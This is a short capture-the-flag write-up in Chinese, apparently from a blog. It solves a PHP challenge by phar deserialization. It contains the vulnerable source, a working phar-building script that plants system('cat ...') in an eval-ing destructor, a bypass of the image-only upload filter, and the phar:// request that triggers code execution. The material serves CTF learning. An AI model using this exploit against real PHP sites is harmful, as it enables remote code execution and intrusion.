一、源码
<?php
show_source(__FILE__);
class Flag{
public $code;
public function __destruct(){
// TODO: Implement __destruct() method.
eval($this->code);
}
}
$filename = $_GET['filename'];
file_exists($filename);
?>
二、解法
提示upload something,猜测可能存在上传文件的界面。访问upload.php:
![](https://i-blog.csdnimg.cn/blog_migrate/e965956eb81e6d468aad857fec05560b.png)
发现可以上传文件。因为源码中存在file_exists()函数,可以利用phar反序列化。
基本思路就是利用上传的phar文件进行反序列化利用。
生成phar文件:
<?php
class Flag{
public $code = "system('cat /ffflllaaaggg');"; //system('ls /');
}
$a = new Flag();
$phar = new phar('b.phar');//对phar对象进行实例化,以便后续操作。
$phar -> startBuffering();//缓冲phar写操作(不用特别注意)
$phar -> setStub("<?php __HALT_COMPILER(); ?>");//设置stub,为固定格式
$phar -> setMetadata($a);//把我们的对象写进Metadata中
$phar -> addFromString("test.txt","helloworld!!");//写压缩文件的内容,这里没利用点,可以随便写
$phar -> stopBuffering();//停止缓冲
?>
然后上传,发现只允许上传图片,修改之后上传成功。
利用phar协议读取:
/?filename=phar://upload/b.jpeg
成功拿到flag。